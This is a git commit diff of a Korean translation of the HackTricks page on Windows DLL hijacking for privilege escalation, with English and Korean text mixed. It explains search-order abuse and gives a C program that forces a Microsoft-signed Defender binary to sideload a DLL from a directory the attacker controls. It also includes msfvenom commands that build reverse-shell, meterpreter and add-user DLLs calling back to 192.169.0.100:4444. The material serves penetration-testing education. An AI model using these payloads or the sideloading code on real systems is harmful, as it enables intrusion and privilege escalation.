Translated ['', 'src/windows-hardening/windows-local-privilege-escalatio

This commit is contained in:
Translator 2025-09-29 21:50:20 +00:00
parent e014f4487a
commit a9ccf9804b
2 changed files with 325 additions and 130 deletions

View File

@ -4,136 +4,229 @@
## Basic Information ## 기본 정보
DLL Hijacking은 신뢰할 수 있는 애플리케이션이 악성 DLL을 로드하도록 조작하는 것을 포함합니다. 이 용어는 **DLL Spoofing, Injection, and Side-Loading**과 같은 여러 전술을 포함합니다. 주로 코드 실행, 지속성 달성 및 덜 일반적으로 권한 상승을 위해 사용됩니다. 여기서 상승에 초점을 맞추고 있지만, 하이재킹 방법은 목표에 관계없이 일관됩니다. DLL Hijacking은 신뢰는 애플리케이션이 악성 DLL을 로드하도록 조작하는 것을 포함합니다. 이 용어는 **DLL Spoofing, Injection, and Side-Loading** 같은 여러 전술을 포괄합니다. 주로 코드 실행, 지속성 확보에 사용되며, 드물게 권한 상승에 이용됩니다. 여기서는 권한 상승에 초점을 맞추었지만, hijacking 방법 자체는 목적에 상관없이 동일합니다.
### Common Techniques ### 일반적인 기법
DLL 하이재킹을 위해 여러 방법이 사용되며, 각 방법은 애플리케이션의 DLL 로딩 전략에 따라 효과가 다릅니다: 응용프로그램의 DLL 로딩 방식에 따라 효과가 달라지는 여러 방법이 사용됩니다:
1. **DLL Replacement**: 진짜 DLL을 악성 DLL로 교체하며, 원래 DLL의 기능을 유지하기 위해 DLL Proxying을 선택적으로 사용할 수 있습니다. 1. **DLL Replacement**: 정품 DLL을 악성 DLL로 교체하고, 원본 DLL의 기능을 유지하기 위해 선택적으로 DLL Proxying을 사용할 수 있습니다.
2. **DLL Search Order Hijacking**: 악성 DLL을 합법적인 DLL보다 앞서 검색 경로에 배치하여 애플리케이션의 검색 패턴을 악용합니다. 2. **DLL Search Order Hijacking**: 악성 DLL을 정식 DLL보다 먼저 검색되는 경로에 배치하여 악용합니다.
3. **Phantom DLL Hijacking**: 애플리케이션이 존재하지 않는 필수 DLL로 생각하고 로드하도록 악성 DLL을 생성합니다. 3. **Phantom DLL Hijacking**: 애플리케이션이 필요로 하지만 존재하지 않는 DLL로 판단하도록 악성 DLL을 생성하여 로드되게 합니다.
4. **DLL Redirection**: `%PATH%` 또는 `.exe.manifest` / `.exe.local` 파일과 같은 검색 매개변수를 수정하여 애플리케이션이 악성 DLL을 가리키도록 합니다. 4. **DLL Redirection**: `%PATH%``.exe.manifest` / `.exe.local` 파일 같은 검색 매개변수를 수정해 애플리케이션이 악성 DLL을 찾도록 유도합니다.
5. **WinSxS DLL Replacement**: WinSxS 디렉토리에서 합법적인 DLL을 악성 DLL로 대체하는 방법으로, 종종 DLL 사이드 로딩과 관련이 있습니다. 5. **WinSxS DLL Replacement**: WinSxS 디렉터리의 정식 DLL을 악성 DLL로 대체하는 방법으로, 종종 DLL side-loading과 관련됩니다.
6. **Relative Path DLL Hijacking**: 복사된 애플리케이션과 함께 사용자 제어 디렉토리에 악성 DLL을 배치하여 Binary Proxy Execution 기술과 유사하게 만듭니다. 6. **Relative Path DLL Hijacking**: 복사한 애플리케이션과 함께 공격자가 제어할 수 있는 디렉터리에 악성 DLL을 배치하는 방식으로, Binary Proxy Execution 기법과 유사합니다.
## Finding missing Dlls ## 누락된 Dll 찾기
시스템 내에서 누락된 DLL을 찾는 가장 일반적인 방법은 sysinternals에서 [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon)을 실행하고, **다음 2개의 필터를 설정**하는 것입니다: 시스템 내 누락된 Dll을 찾는 가장 일반적인 방법은 [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) (sysinternals) 를 실행하고, **다음 2개의 필터**를 설정하는 것입니다:
![](<../../images/image (311).png>) ![](<../../images/image (311).png>)
![](<../../images/image (313).png>) ![](<../../images/image (313).png>)
그리고 **파일 시스템 활동**만 표시합니다: 그리고 **File System Activity**만 표시합니다:
![](<../../images/image (314).png>) ![](<../../images/image (314).png>)
**일반적으로 누락된 dll을 찾고 있다면** 몇 **초** 동안 이 작업을 실행합니다.\ 일반적으로 **누락된 dll을 찾는 경우**에는 이 상태로 몇 **초** 동안 실행해 둡니다.\
**특정 실행 파일 내에서 누락된 dll을 찾고 있다면** **"Process Name" "contains" "\<exec name>"**와 같은 **다른 필터를 설정하고, 실행한 후 이벤트 캡처를 중지해야** 합니다. 특정 실행 파일 내에서 **누락된 dll을 찾는 경우**에는 **"Process Name" "contains" "\<exec name>"** 같은 추가 필터를 설정하고, 실행한 다음 이벤트 캡처를 중지해야 합니다.
## Exploiting Missing Dlls ## 누락된 Dll 악용하기
권한을 상승시키기 위해, 우리가 가질 수 있는 최선의 기회는 **특권 프로세스가 로드하려고 시도할 DLL을 작성하는 것**입니다. 따라서, 우리는 **원래 DLL**이 있는 폴더보다 **먼저 검색되는 폴더**에 DLL을 **작성**할 수 있거나, **DLL이 검색될 폴더**에 **작성**할 수 있으며 원래 **DLL이 어떤 폴더에도 존재하지 않는 경우**입니다. 권한 상승을 위해 가장 유리한 상황은 **권한이 높은 프로세스가 로드하려고 시도할 DLL을 쓸 수 있는 위치에 쓰는 것**입니다. 따라서 DLL이 원본 DLL이 있는 폴더보다 먼저 검색되는 폴더에 DLL을 **쓰기**할 수 있거나(드문 경우), DLL이 검색되는 폴더 중 하나에 쓸 수 있고 원본 **dll이 어느 폴더에도 존재하지 않는** 경우가 최선입니다.
### Dll Search Order ### Dll 검색 순서
**Microsoft 문서** [**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **에서 DLL이 어떻게 로드되는지 구체적으로 확인할 수 있습니다.** [**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching)에서 DLL이 어떻게 로드되는지 구체적으로 확인할 수 있습니다.
**Windows 애플리케이션**은 특정 순서를 따르는 **미리 정의된 검색 경로**를 따라 DLL을 찾습니다. DLL 하이재킹 문제는 해로운 DLL이 이러한 디렉토리 중 하나에 전략적으로 배치되어 진짜 DLL보다 먼저 로드되도록 할 때 발생합니다. 이를 방지하기 위한 해결책은 애플리케이션이 필요한 DLL을 참조할 때 절대 경로를 사용하도록 하는 것입니다. Windows 애플리케이션은 미리 정의된 검색 경로 집합을 따라 DLL을 찾으며, 특정 순서를 따릅니다. 악성 DLL이 이러한 디렉터리 중 하나에 전략적으로 배치되면 정품 DLL보다 먼저 로드되어 DLL hijacking이 발생할 수 있습니다. 이를 방지하는 한 가지 방법은 애플리케이션이 필요로 하는 DLL을 참조할 때 절대 경로를 사용하도록 하는 것입니다.
32비트 시스템에서의 **DLL 검색 순서**는 다음과 같습니다: 다음은 32-bit 시스템에서의 DLL 검색 순서입니다:
1. 애플리케이션이 로드된 디렉토리. 1. The directory from which the application loaded.
2. 시스템 디렉토리. 이 디렉토리의 경로를 얻으려면 [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) 함수를 사용합니다.(_C:\Windows\System32_) 2. The system directory. Use the [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) function to get the path of this directory.(_C:\Windows\System32_)
3. 16비트 시스템 디렉토리. 이 디렉토리의 경로를 얻는 함수는 없지만 검색됩니다. (_C:\Windows\System_) 3. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. (_C:\Windows\System_)
4. Windows 디렉토리. 이 디렉토리의 경로를 얻으려면 [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) 함수를 사용합니다. (_C:\Windows_) 4. The Windows directory. Use the [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) function to get the path of this directory.
5. 현재 디렉토리. 1. (_C:\Windows_)
6. PATH 환경 변수에 나열된 디렉토리. 여기에는 **App Paths** 레지스트리 키에 의해 지정된 애플리케이션별 경로가 포함되지 않습니다. **App Paths** 키는 DLL 검색 경로를 계산할 때 사용되지 않습니다. 5. The current directory.
6. The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the **App Paths** registry key. The **App Paths** key is not used when computing the DLL search path.
것이 **SafeDllSearchMode**가 활성화된 상태에서의 **기본** 검색 순서입니다. 비활성화되면 현재 디렉토리가 두 번째 위치로 상승합니다. 이 기능을 비활성화하려면 **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** 레지스트리 값을 생성하고 0으로 설정합니다(기본값은 활성화됨). **SafeDllSearchMode**가 활성화된 기본 검색 순서입니다. 이 기능이 비활성화되면 현재 디렉터리의 우선순위가 두 번째로 상승합니다. 이 기능을 비활성화하려면 **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** 레지스트리 값을 생성하고 0으로 설정하면 됩니다(기본값은 활성화).
[**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) 함수가 **LOAD_WITH_ALTERED_SEARCH_PATH**와 함께 호출되면 검색은 **LoadLibraryEx**가 로드하는 실행 모듈의 디렉토리에서 시작됩니다. 만약 [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) 함수가 **LOAD_WITH_ALTERED_SEARCH_PATH** 플래그와 함께 호출되면, 검색은 **LoadLibraryEx**가 로드하는 실행 모듈의 디렉터리에서 시작합니다.
마지막으로, **DLL은 이름 대신 절대 경로를 지정하여 로드될 수 있습니다**. 이 경우 해당 DLL은 **그 경로에서만 검색됩니다**(DLL에 종속성이 있는 경우, 종속성은 이름으로 로드된 것처럼 검색됩니다). 마지막으로, **절대 경로**로 DLL을 지정하면 그 DLL은 **오직 그 경로에서만** 검색됩니다(해당 DLL이 다른 종속성을 갖는 경우, 그 종속성들은 이름으로 로드된 것처럼 검색됩니다).
검색 순서를 변경하는 다른 방법 있지만 여기서는 설명하지 않겠습니다. 검색 순서를 변경하는 다른 방법들도 있지만 여기서는 설명하지 않겠습니다.
#### Exceptions on dll search order from Windows docs ### Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
Windows 문서에서 표준 DLL 검색 순서에 대한 특정 예외가 언급됩니다: 새로 생성되는 프로세스의 DLL 검색 경로에 결정적으로 영향을 주는 고급 방법은 ntdll의 네이티브 API로 프로세스를 생성할 때 RTL_USER_PROCESS_PARAMETERS의 DllPath 필드를 설정하는 것입니다. 여기서 공격자가 제어하는 디렉터리를 제공하면, 대상 프로세스가 DLL을 이름으로(절대 경로 없이, 안전 로드 플래그를 사용하지 않고) 해결할 때 해당 디렉터리에서 악성 DLL을 로드하도록 강제할 수 있습니다.
- **메모리에 이미 로드된 DLL과 이름이 같은 DLL**이 발견되면 시스템은 일반 검색을 우회합니다. 대신, 리디렉션 및 매니페스트를 확인한 후 메모리에 이미 있는 DLL로 기본 설정합니다. **이 시나리오에서는 시스템이 DLL 검색을 수행하지 않습니다**. 핵심 아이디어
- DLL이 현재 Windows 버전의 **알려진 DLL**로 인식되는 경우, 시스템은 검색 프로세스를 생략하고 알려진 DLL의 버전과 해당 종속 DLL을 사용합니다. 레지스트리 키 **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs**는 이러한 알려진 DLL의 목록을 보유합니다. - RtlCreateProcessParametersEx로 프로세스 매개변수를 구성하고, 제어하는 폴더(예: dropper/unpacker가 있는 디렉터리)를 가리키는 커스텀 DllPath를 제공합니다.
- **DLL에 종속성이 있는 경우**, 이러한 종속 DLL에 대한 검색은 초기 DLL이 전체 경로를 통해 식별되었는지 여부에 관계없이 **모듈 이름**만으로 표시된 것처럼 수행됩니다. - RtlCreateUserProcess로 프로세스를 생성합니다. 대상 바이너리가 DLL을 이름으로 해결할 때 로더는 이 제공된 DllPath를 참조하여, 악성 DLL이 대상 EXE와 동일 디렉터리에 있지 않아도 신뢰성 있는 sideloading이 가능해집니다.
참고/제한사항
- 이것은 생성되는 자식 프로세스에 영향을 미치며, 현재 프로세스에만 영향을 주는 SetDllDirectory와는 다릅니다.
- 대상은 이름으로 DLL을 import하거나 LoadLibrary해야 합니다(절대 경로가 아니고 LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories를 사용하지 않을 것).
- KnownDLLs와 하드코딩된 절대 경로는 hijack할 수 없습니다. Forwarded exports와 SxS는 우선순위를 변경할 수 있습니다.
Minimal C example (ntdll, wide strings, simplified error handling):
```c
#include <windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
// Prototype (not in winternl.h in older SDKs)
typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)(
PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
PUNICODE_STRING ImagePathName,
PUNICODE_STRING DllPath,
PUNICODE_STRING CurrentDirectory,
PUNICODE_STRING CommandLine,
PVOID Environment,
PUNICODE_STRING WindowTitle,
PUNICODE_STRING DesktopInfo,
PUNICODE_STRING ShellInfo,
PUNICODE_STRING RuntimeData,
ULONG Flags
);
typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)(
PUNICODE_STRING NtImagePathName,
ULONG Attributes,
PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
HANDLE ParentProcess,
BOOLEAN InheritHandles,
HANDLE DebugPort,
HANDLE ExceptionPort,
PRTL_USER_PROCESS_INFORMATION ProcessInformation
);
static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) {
DWORD n = GetModuleFileNameW(h, out, cch);
for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; }
}
int wmain(void) {
// Target Microsoft-signed, DLL-hijackable binary (example)
const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe";
// Build custom DllPath = directory of our current module (e.g., the unpacked archive)
wchar_t dllDir[MAX_PATH];
DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
UNICODE_STRING uImage, uCmd, uDllPath, uCurDir;
RtlInitUnicodeString(&uImage, image);
RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\"");
RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory
RtlInitUnicodeString(&uCurDir, dllDir);
RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx =
(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx");
RtlCreateUserProcess_t pRtlCreateUserProcess =
(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess");
RTL_USER_PROCESS_PARAMETERS *pp = NULL;
NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd,
NULL, NULL, NULL, NULL, NULL, 0);
if (st < 0) return 1;
RTL_USER_PROCESS_INFORMATION pi = {0};
st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi);
if (st < 0) return 1;
// Resume main thread etc. if created suspended (not shown here)
return 0;
}
```
운영 사용 예시
- 악성 xmllite.dll(필요한 함수를 export하거나 실제 DLL로 프록시하는)을 DllPath 디렉토리에 배치합니다.
- 위 기법을 사용하여 이름으로 xmllite.dll을 조회하는 것으로 알려진 서명된 바이너리를 실행합니다. 로더는 제공된 DllPath를 통해 임포트를 해결하고 당신의 DLL을 sideloads 합니다.
이 기법은 실제 환경에서 multi-stage sideloading chains를 발생시키는 데 사용되는 것이 관찰되었습니다: 초기 런처가 helper DLL을 드롭하고, 그 후 해당 DLL이 custom DllPath로 Microsoft-signed인 hijackable 바이너리를 실행시켜 스테이징 디렉토리에서 공격자의 DLL을 강제 로드하도록 합니다.
#### Windows 문서에서의 dll 검색 순서 예외사항
Windows 문서에는 표준 DLL 검색 순서의 특정 예외사항이 명시되어 있습니다:
- 이미 메모리에 로드된 것과 같은 이름을 가진 **DLL that shares its name with one already loaded in memory**이 발견되면, 시스템은 일반적인 검색을 건너뜁니다. 대신 리디렉션과 manifest를 확인한 후 메모리에 이미 있는 DLL을 기본으로 사용합니다. **In this scenario, the system does not conduct a search for the DLL**.
- 해당 DLL이 현재 Windows 버전에서 **known DLL**로 인식되는 경우, 시스템은 그 버전의 known DLL과 그에 종속된 DLL들을 사용하여 **forgoing the search process**합니다. 레지스트리 키 **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs**에는 이러한 known DLL들의 목록이 저장되어 있습니다.
- **DLL have dependencies**가 있는 경우, 이러한 종속 DLL들의 검색은 초기 DLL이 전체 경로로 식별되었는지 여부와 관계없이 마치 **module names**로만 지정된 것처럼 수행됩니다.
### Escalating Privileges ### Escalating Privileges
**Requirements**: **Requirements**:
- **다른 권한**(수평 또는 측면 이동)으로 작동하거나 작동할 **프로세스**를 식별하고, **DLL이 없는** 상태여야 합니다. - 서로 다른 권한으로 실행되거나 실행될 (horizontal or lateral movement) 프로세스 중에서 **DLL이 없는** 것을 식별합니다.
- **DLL이 검색될** **디렉토리**에 대한 **쓰기 권한**이 있어야 합니다. 이 위치는 실행 파일의 디렉토리일 수도 있고 시스템 경로 내의 디렉토리일 수도 있습니다. - **DLL**이 **검색될** 어떤 **directory**에 대해서든 **write access**가 가능한지 확인합니다. 이 위치는 실행 파일의 디렉터리이거나 시스템 경로 내의 디렉터리일 수 있습니다.
네, 기본적으로 **특권 실행 파일이 DLL이 누락된 경우를 찾는 것은 다소 이상합니다**. 그리고 **시스템 경로 폴더에 쓰기 권한을 갖는 것은 기본적으로 불가능합니다**. 그러나 잘못 구성된 환경에서는 가능합니다.\ 네, 요구 조건을 찾는 것은 까다롭습니다 — **기본적으로 권한이 있는 실행 파일이 dll을 누락한 상태로 존재하는 것을 찾는 것은 좀 이상하고**, 시스템 경로 폴더에 쓰기 권한이 있는 것은 **더욱 이상합니다**(기본적으로는 불가능합니다). 하지만 잘못 구성된 환경에서는 이 조건이 성립할 수 있습니다.\
운이 좋다면 요구 사항을 충족하는 경우, [UACME](https://github.com/hfiref0x/UACME) 프로젝트를 확인할 수 있습니다. **프로젝트의 주요 목표가 UAC 우회이지만**, 사용할 수 있는 Windows 버전의 DLL 하이재킹 **PoC**를 찾을 수 있습니다(아마도 쓰기 권한이 있는 폴더의 경로만 변경하면 됩니다). 운이 좋아서 요구사항을 충족하는 경우, [UACME](https://github.com/hfiref0x/UACME) 프로젝트를 확인해 보세요. **main goal of the project is bypass UAC** 이긴 하지만, 해당 Windows 버전에 맞는 Dll hijaking의 **PoC**를 찾을 수 있으며(아마도 쓰기 권한이 있는 폴더의 경로만 변경하면 됨) 활용할 수 있습니다.
폴더에서 **권한을 확인할 수 있습니다**: 참고로 폴더에서 **권한을 확인하는 방법**은 다음과 같습니다:
```bash ```bash
accesschk.exe -dqv "C:\Python27" accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27" icacls "C:\Python27"
``` ```
모든 폴더의 **권한을 확인하십시오** PATH 안에: 그리고 **PATH 내부의 모든 폴더 권한을 확인하세요**:
```bash ```bash
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
``` ```
실행 파일의 임포트와 DLL의 익스포트를 확인할 수도 있습니다: 또한 다음 명령어로 executable의 imports와 dll의 exports를 확인할 수 있습니다:
```c ```c
dumpbin /imports C:\path\Tools\putty\Putty.exe dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll dumpbin /export /path/file.dll
``` ```
전체 가이드는 **System Path 폴더에 쓰기 권한을 이용하여 Dll Hijacking을 악용하는 방법**을 확인하세요: For a full guide on how to **abuse Dll Hijacking to escalate privileges** with permissions to write in a **System Path folder** check:
{{#ref}} {{#ref}}
dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
{{#endref}} {{#endref}}
### 자동화 도구 ### Automated tools
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)는 시스템 PATH 내의 어떤 폴더에 쓰기 권한이 있는지 확인합니다.\ [**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)은 system PATH 내의 어떤 폴더에 쓰기 권한이 있는지 확인합니다.\
이 취약점을 발견하기 위한 다른 흥미로운 자동화 도구는 **PowerSploit 함수**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ 및 _Write-HijackDll_입니다. 이 취약점을 찾기 위한 다른 흥미로운 자동화 도구로는 **PowerSploit functions**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ 및 _Write-HijackDll_가 있습니다.
### 예시 ### Example
악용 가능한 시나리오를 찾는 경우, 성공적으로 악용하기 위해 가장 중요한 것 중 하나는 **실행 파일이 가져올 모든 함수를 내보내는 dll을 생성하는 것**입니다. 어쨌든, Dll Hijacking은 [**Medium Integrity 레벨에서 High로 (UAC 우회)**](../authentication-credentials-uac-and-efs.md#uac) 또는 [**High Integrity에서 SYSTEM으로**](#from-high-integrity-to-system)**.**로 상승하는 데 유용하다는 점에 유의하세요. **유효한 dll을 생성하는 방법**에 대한 예시는 dll 실행을 위한 dll hijacking 연구에서 확인할 수 있습니다: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\ 취약한 시나리오를 찾은 경우, 이를 성공적으로 악용하기 위해 가장 중요한 것 중 하나는 **실행 파일이 해당 DLL에서 import할 모든 함수들을 최소한으로 export하는 dll을 생성하는 것**입니다. 어쨌든, Dll Hijacking은 [escalate from Medium Integrity level to High **(bypassing UAC)**](../authentication-credentials-uac-and-efs.md#uac) 또는 [ **High Integrity to SYSTEM**](#from-high-integrity-to-system)**.** 예제로 **유효한 dll을 만드는 방법**은 이 실행을 위한 dll hijacking 연구에서 확인할 수 있습니다: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
또한, **다음 섹션**에서는 **템플릿**으로 유용할 수 있는 **기본 dll 코드**를 찾을 수 있습니다. 또한, 다음 섹션에서는 **템플릿으로 유용하거나** 필수적이지 않은 함수들을 export하는 **dll을 만들 때 사용할 수 있는 몇 가지 기본 dll 코드들**을 찾을 수 있습니다.
## **Dll 생성 및 컴파일** ## **Creating and compiling Dlls**
### **Dll 프록시화** ### **Dll Proxifying**
기본적으로 **Dll 프록시**는 **로드될 때 악성 코드를 실행할 수 있는 Dll**이지만, **실제 라이브러리에 대한 모든 호출을 중계하여** **예상대로 작동**하도록 **노출**하는 Dll입니다. 기본적으로 **Dll proxy**는 로드될 때 **악성 코드를 실행할 수 있으면서**, 동시에 **실제 라이브러리로의 모든 호출을 중계(relay)하여** 기대되는 대로 **노출되고 동작하는** Dll입니다.
[**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) 또는 [**Spartacus**](https://github.com/Accenture/Spartacus) 도구를 사용하면 **실행 파일을 지정하고 프록시화할 라이브러리를 선택하여** **프록시화된 dll을 생성**하거나 **Dll을 지정하고 프록시화된 dll을 생성**할 수 있습니다. [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) 또는 [**Spartacus**](https://github.com/Accenture/Spartacus) 도구를 사용하면 대상 실행 파일을 지정하고 프록시화할 라이브러리를 선택해 **프록시화된 dll을 생성**하거나, Dll을 지정해 **프록시화된 dll을 생성**할 수 있습니다.
### **Meterpreter** ### **Meterpreter**
**Rev shell 얻기 (x64):** **rev shell (x64) 얻기:**
```bash ```bash
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
``` ```
**미터프리터 얻기 (x86):** **meterpreter (x86) 얻기:**
```bash ```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
``` ```
**사용자 생성 (x86 버전, x64 버전은 보지 못함):** **사용자 생성(x86 — x64 버전은 확인하지 못함):**
``` ```
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
``` ```
### 당신의 것 ### 직접 만든 경우
여러 경우에 컴파일하는 Dll은 **희생자 프로세스에 의해 로드될 여러 함수를 내보내야** 한다는 점에 유의하세요. 이러한 함수가 존재하지 않으면 **바이너리가 이를 로드할 수 없고** **익스플로잇이 실패하게 됩니다**. 여러 경우에 컴파일하는 Dll은 피해자 프로세스가 로드할 여러 함수를 반드시 **export several functions** 해야 합니다. 이러한 함수들이 존재하지 않으면 **binary won't be able to load** them, 그리고 **exploit will fail**.
```c ```c
// Tested in Win10 // Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared // i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
@ -214,11 +307,14 @@ break;
return TRUE; return TRUE;
} }
``` ```
## References ## 참고자료
- [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e) - [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html) - [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
- [Check Point Research Nimbus Manticore Deploys New Malware Targeting Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,136 +2,230 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Basic Information ## Basic Information
DLL Hijacking은 신뢰할 수 있는 애플리케이션이 악성 DLL을 로드하도록 조작하는 것입니다. 이 용어는 **DLL Spoofing, Injection, and Side-Loading**과 같은 여러 전술을 포함합니다. 주로 코드 실행, 지속성 달성 및 덜 일반적으로 권한 상승을 위해 사용됩니다. 여기서 상승에 초점을 맞추고 있지만, 하이재킹 방법은 목표에 관계없이 일관됩니다. DLL Hijacking은 신뢰되는 애플리케이션이 악성 DLL을 로드하도록 조작하는 것을 의미합니다. 이 용어는 **DLL Spoofing, Injection, and Side-Loading**과 같은 여러 전술을 포함합니다. 주로 code execution, achieving persistence 및 덜 빈번하게 privilege escalation에 사용됩니다. 여기서는 상승(escation)에 초점을 맞추었지만, hijacking 방식은 목적에 관계없이 동일합니다.
### Common Techniques ### Common Techniques
DLL 하이재킹을 위해 여러 방법이 사용되며, 각 방법은 애플리케이션의 DLL 로딩 전략에 따라 효과가 다릅니다: DLL hijacking에 사용되는 여러 방법들이 있으며, 각 방법의 효과는 애플리케이션의 DLL 로딩 전략에 따라 다릅니다:
1. **DLL Replacement**: 진짜 DLL을 악성 DLL로 교체하며, 원래 DLL의 기능을 유지하기 위해 DLL Proxying을 선택적으로 사용할 수 있습니다. 1. **DLL Replacement**: 정상 DLL을 악성 DLL로 교체하고, 원본 DLL의 기능을 유지하기 위해 선택적으로 DLL Proxying을 사용합니다.
2. **DLL Search Order Hijacking**: 악성 DLL을 합법적인 DLL보다 앞서 검색 경로에 배치하여 애플리케이션의 검색 패턴을 악용합니다. 2. **DLL Search Order Hijacking**: 악성 DLL을 합법 DLL보다 먼저 검색되는 경로에 배치하여 애플리케이션의 검색 패턴을 악용합니다.
3. **Phantom DLL Hijacking**: 애플리케이션이 로드할 악성 DLL을 생성하여 존재하지 않는 필수 DLL로 인식하게 합니다. 3. **Phantom DLL Hijacking**: 애플리케이션이 존재하지 않는 필수 DLL로 판단하고 로드하도록 만들기 위해 악성 DLL을 생성합니다.
4. **DLL Redirection**: `%PATH%` 또는 `.exe.manifest` / `.exe.local` 파일과 같은 검색 매개변수를 수정하여 애플리케이션이 악성 DLL을 가리키도록 합니다. 4. **DLL Redirection**: `%PATH%` 또는 `.exe.manifest` / `.exe.local` 파일과 같은 검색 매개변수를 수정하여 애플리케이션이 악성 DLL을 가리키도록 합니다.
5. **WinSxS DLL Replacement**: WinSxS 디렉토리에서 합법적인 DLL을 악성 DLL로 대체하는 방법으로, 종종 DLL 사이드 로딩과 관련이 있습니다. 5. **WinSxS DLL Replacement**: WinSxS 디렉터리에서 합법 DLL을 악성 버전으로 교체하는 방법으로, 종종 DLL side-loading과 연관됩니다.
